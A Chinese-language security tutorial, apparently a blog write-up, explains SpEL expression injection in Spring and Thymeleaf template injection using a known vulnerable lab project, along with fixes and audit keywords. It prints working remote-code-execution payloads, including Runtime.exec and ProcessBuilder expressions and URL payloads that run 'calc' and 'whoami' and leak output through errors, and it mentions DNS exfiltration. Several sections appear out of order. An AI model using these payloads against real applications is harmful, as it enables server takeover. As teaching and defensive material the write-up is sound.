Spel表达式注入&相关组件的Spel表达式注入分析

目录

Spel表达式注入

Spel表达式是spring下的一种表达式语言,若目标程序Spel表达式可控且能被解析,则可能会导致RCE等安全问题。

环境搭建

起一个项目,然后导入maven即可

<properties>
    <org.springframework.version>5.0.8.RELEASE</org.springframework.version>
</properties>
<dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-expression</artifactId>
      <version>${org.springframework.version}</version>
</dependency>

漏洞原理

我们来看一段有漏洞的代码,假设expression2 变量用户可控

ExpressionParser parser = new SpelExpressionParser();
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')"; //假设expression2 变量用户可控,这个变量的内容便是spel表达式
//也可以用new关键字 String expression2 = "new ProcessBuilder('calc').start()";
Expression result2 = parser.parseExpression(expression2);
result2.getValue();

用户传入恶意spel表达式后,在第三行parseExpression方法被解析,第四行在getValue方法被执行spel表达式内容,完成RCE

用户传入的Spel表达式中, T(java.lang.Runtime)用于实例化某个类,实例化后我们可以调用其内部方法。也可以用new关键字,就像注释中的一行

有些时候会对spel进行鉴别,即满足一定条件的字符串才会被认为是表达式,比如这样

ExpressionParser parser = new SpelExpressionParser();
ParserContext parserContext = new ParserContext() {
    @Override
    public boolean isTemplate() {
    return true;
    }
    @Override
    public String getExpressionPrefix() {
    return "#{";
    }
    @Override
    public String getExpressionSuffix() {
    return "}";
    }
};
String template = "#{'hello '}#{'freebuf!'}";
Expression expression = parser.parseExpression(template, parserContext);
System.out.println(expression.getValue());

通过getExpressionPrefix和getExpressionPrefix方法,确定在 #{..} 中的字符串才为SPEL表达式

审计关键字

org.springframework.expression.spel.standard

getValue()

parseExpression()

修复

SimpleEvaluationContext 和StandardEvaluationContext 

StandardEvaluationContext  是默认的上下文环境,对spel解析不设限制

SimpleEvaluationContext  是受限的上下文环境,不允许spel执行构造方法,java类型引用,bean类型引用

修复后代码

ExpressionParser parser = new SpelExpressionParser();
String expression2 = "new ProcessBuilder('calc').start()";
Expression result2 = parser.parseExpression(expression2);
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
result2.getValue(context);

运行结果

ref:https://www.freebuf.com/articles/network/250026.html

使用如下项目搭建环境,idea打开其pom.xml即可

https://github.com/veracode-research/spring-view-manipulation/

Thymeleadf 模板注入(基于Spel表达式注入)

简介

Thymeleaf是一个服务端模板引擎,spring官方支持该引擎。

Thymeleaf运行逻辑

来到项目中的HelloControleer 第16行

@GetMapping("/")
public String index(Model model) {
    model.addAttribute("message", "happy birthday");
    return "welcome";
}

这里代码逻辑是spring的,接收所有url为 / 的请求到此控制器进行处理。

然后向model添加键值对,model中的数据会随着要返回的视图一起返回给前端,此处键为message,值为happy birthday

然后return一行返回了 /templates/welcome.html 这个视图 (相当于给welcome添加前缀templates/ ,后缀.html)

我们来看看welcome.html

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

我们看倒数第三行th:text 内部有 ${message} ,${...}里面就是SPEL表达式或者ognl表达式

另外,如果返回模板时return的内容中含有 ::,则该字符串会被当作表达式处理

同时在表达式中还有 \${..} 这种预处理表达式,在其中的内容会更优先处理一次(预处理)

就像这种代码

@GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

注意这里的payload我并没有用到预处理表达式,因为section中参数本来就是selector的内容,本来就会被解析,没必要再套一层预处理。

注意这里的payload也要加上\${..}

那么这串代码呢?

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

和上面的思路一样,但是payload需要微微调整一下

http://127.0.0.1:8090/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x

至于为什么templatename必须被__${}包围,是因为实际上的templatename为/doc/xxxxxx 我们可控的是第二层路由,为了保证第二层路由里的表达式能够顺利被执行而不受前面的 /doc/ 干扰命令,所以用${}__预处理一下

至于为什么selecor前面要有一个.原因是这样的

模板名获取实际上是通过这个函数拿到的

它会对url获得的模板名进行修正,比如增加前缀后缀(默认为空),以及调用方法transformPath处理

我们跟进此方法并注意断点打到的地方

this.stripExtension在这种情况默认为true,也就是说会调用StringUtils.stripFilenameExtension来处理我们的模板名

StringUtils.stripFilenameExtension 会搜索字符串中最后一个.符号的索引位置,并截取.之前的内容返回。

所以如果我们的payload selector不加 . 那么截取后的表达式会变成这样,没有了:: ,无法正确被当作表达式解析

但如果加了 .,那么被截取后表达式会变成这样,:: 还在,能被当作表达式解析

弄懂原理后就会发现这样构造payload也可以

http://127.0.0.1:8090/doc/::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__.a

只要配置上ResponseBody或RestController,那么就不会进行视图解析相关内容,而是直接返回

redirect:

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //FP as redirects are not resolved as expressions
}

在返回值前加字符串redirect: ,表示该视图的解析不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析

HttpServletResponse

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

只需要在参数里加上 HttpServletResponse response,spring就不会再对视图进行解析。 只对这种直接从url获取模板名的控制器有效

防御

这个项目也提供了三个控制器的修复版

ResponseBody RestController

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

注意templatename必须被 \${} 包围,selector第一个字符必须为.

如果我们lang赋值为 \${4*4}::123,可以发现预处理表达式里的内容被解析了,并以报错的形式返回(注意paylaod需要urlencode)

那么这个:: 到底意味着什么呢,我们上面的payload后面为什么还要跟着一串字符呢?

::是片段选择器的分隔符,分割templatename和selector,即templatename::selector,templatename和selector都会被当作表达式的部分解析一起解析,即实际上解析的内容是 \~{templatename::selector}

比如在下面的代码中,welcome是templatename,我们可以选择/templates/welcome.html 的selector来指定页面显示何种内容

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">  //如果selector 是header,那么只显示该div中的内容
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">  ////如果selector 是main,那么只显示该div中的内容
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

还有下图这种神奇代码

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

代码并没有返回视图,但是注意路由中的{document},这里会直接把/doc/{document}用作视图名返回

Thymeleaf 模板注入

如果我们可以控制表达式的内容,那么就可以实现Spel表达式注入了

根据上一小节的知识,我们可以很轻松的构造下面这串代码的payload,通过报错把命令执行结果带出来

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}
payload:__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::

那么这串代码呢?我们只有selector可控

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

实战中可以发现是无法直接得到回显的(因为不报错),但是命令依旧会被解析执行,我们可以通过dns外带等方式带出结果

会发现第三行和倒数第三行都用到了th: 这个前缀,这个前缀就是使用Thymeleaf的标志,用于调用Thymeleaf内部的方法。